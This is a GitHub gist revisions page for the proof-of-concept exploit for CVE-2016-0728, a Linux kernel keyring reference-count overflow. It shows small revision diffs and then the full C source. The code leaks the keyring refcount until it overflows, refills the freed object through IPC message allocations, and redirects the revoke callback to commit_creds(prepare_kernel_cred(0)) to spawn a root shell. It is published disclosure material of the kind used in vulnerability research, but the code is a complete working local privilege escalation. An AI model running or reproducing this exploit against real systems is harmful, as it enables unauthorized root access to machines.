Skip to content

Instantly share code, notes, and snippets.

@PerceptionPointTeam
Last active November 5, 2025 13:47
Show Gist options
  • Save PerceptionPointTeam/18b1e86d1c0f8531ff8f to your computer and use it in GitHub Desktop.
Save PerceptionPointTeam/18b1e86d1c0f8531ff8f to your computer and use it in GitHub Desktop.

Revisions

  1. PerceptionPointTeam revised this gist Jan 19, 2016. 1 changed file with 5 additions and 5 deletions.
    10 changes: 5 additions & 5 deletions cve_2016_0728.c
    Original file line number Diff line number Diff line change
    @@ -56,7 +56,7 @@ struct { long mtype;
    int msqid;

    if (argc != 2) {
    puts("usage: ./keys <key_name>\n");
    puts("usage: ./keys <key_name>");
    return 1;
    }

    @@ -98,7 +98,7 @@ struct { long mtype;
    }


    puts("Increfing...\n");
    puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
    if (i == (0xffffffff - l)) {
    l = l/2;
    @@ -118,7 +118,7 @@ struct { long mtype;
    }
    }

    puts("finished increfing\n");
    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
    @@ -145,11 +145,11 @@ struct { long mtype;
    }
    }

    puts("finished forking\n");
    puts("finished forking");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...\n");
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
    perror("keyctl_revoke");
    }
  2. PerceptionPointTeam revised this gist Jan 19, 2016. 1 changed file with 4 additions and 2 deletions.
    6 changes: 4 additions & 2 deletions cve_2016_0728.c
    Original file line number Diff line number Diff line change
    @@ -118,7 +118,8 @@ struct { long mtype;
    }
    }


    puts("finished increfing\n");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
    pid = fork();
    @@ -144,10 +145,11 @@ struct { long mtype;
    }
    }


    puts("finished forking\n");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...\n");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
    perror("keyctl_revoke");
    }
  3. PerceptionPointTeam revised this gist Jan 19, 2016. 1 changed file with 2 additions and 4 deletions.
    6 changes: 2 additions & 4 deletions cve_2016_0728.c
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,5 @@
    /* $ gcc cve_2016_0726.c -o cve_2016_0726 -lkeyutils -Wall */
    /* $ ./cve_2016_0726 PP_KEY */
    /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
    /* $ ./cve_2016_072 PP_KEY */

    #include <stdio.h>
    #include <stdlib.h>
    @@ -120,7 +120,6 @@ struct { long mtype;


    /* allocate msg struct in the kernel rewriting the freed keyring object */
    printf("forking...\n");
    for (i=0; i<64; i++) {
    pid = fork();
    if (pid == -1) {
    @@ -146,7 +145,6 @@ struct { long mtype;
    }


    printf("finished forking...\n");
    sleep(5);

    /* call userspace_revoke from kernel */
  4. PerceptionPointTeam renamed this gist Jan 19, 2016. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  5. PerceptionPointTeam revised this gist Jan 18, 2016. 1 changed file with 3 additions and 0 deletions.
    3 changes: 3 additions & 0 deletions cve_2016_0726.c
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,6 @@
    /* $ gcc cve_2016_0726.c -o cve_2016_0726 -lkeyutils -Wall */
    /* $ ./cve_2016_0726 PP_KEY */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
  6. PerceptionPointTeam created this gist Jan 18, 2016.
    158 changes: 158 additions & 0 deletions cve_2016_0726.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,158 @@
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <keyutils.h>
    #include <unistd.h>
    #include <time.h>
    #include <unistd.h>

    #include <sys/ipc.h>
    #include <sys/msg.h>

    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;

    #define STRUCT_LEN (0xb8 - 0x30)
    #define COMMIT_CREDS_ADDR (0xffffffff81094250)
    #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)



    struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
    };

    void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
    }

    int main(int argc, const char *argv[]) {
    const char *keyring_name;
    size_t i = 0;
    unsigned long int l = 0x100000000/2;
    key_serial_t serial = -1;
    pid_t pid = -1;
    struct key_type * my_key_type = NULL;

    struct { long mtype;
    char mtext[STRUCT_LEN];
    } msg = {0x4141414141414141, {0}};
    int msqid;

    if (argc != 2) {
    puts("usage: ./keys <key_name>\n");
    return 1;
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;

    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
    perror("msgget");
    exit(1);
    }

    keyring_name = argv[1];

    /* Set the new session keyring before we start */

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
    if (serial < 0) {
    perror("keyctl");
    return -1;
    }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
    perror("keyctl");
    return -1;
    }


    puts("Increfing...\n");
    for (i = 1; i < 0xfffffffd; i++) {
    if (i == (0xffffffff - l)) {
    l = l/2;
    sleep(5);
    }
    if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
    perror("keyctl");
    return -1;
    }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
    if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
    perror("keyctl");
    return -1;
    }
    }


    /* allocate msg struct in the kernel rewriting the freed keyring object */
    printf("forking...\n");
    for (i=0; i<64; i++) {
    pid = fork();
    if (pid == -1) {
    perror("fork");
    return -1;
    }

    if (pid == 0) {
    sleep(2);
    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
    perror("msgget");
    exit(1);
    }
    for (i = 0; i < 64; i++) {
    if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
    perror("msgsnd");
    exit(1);
    }
    }
    sleep(-1);
    exit(1);
    }
    }


    printf("finished forking...\n");
    sleep(5);

    /* call userspace_revoke from kernel */
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
    perror("keyctl_revoke");
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);

    return 0;
    }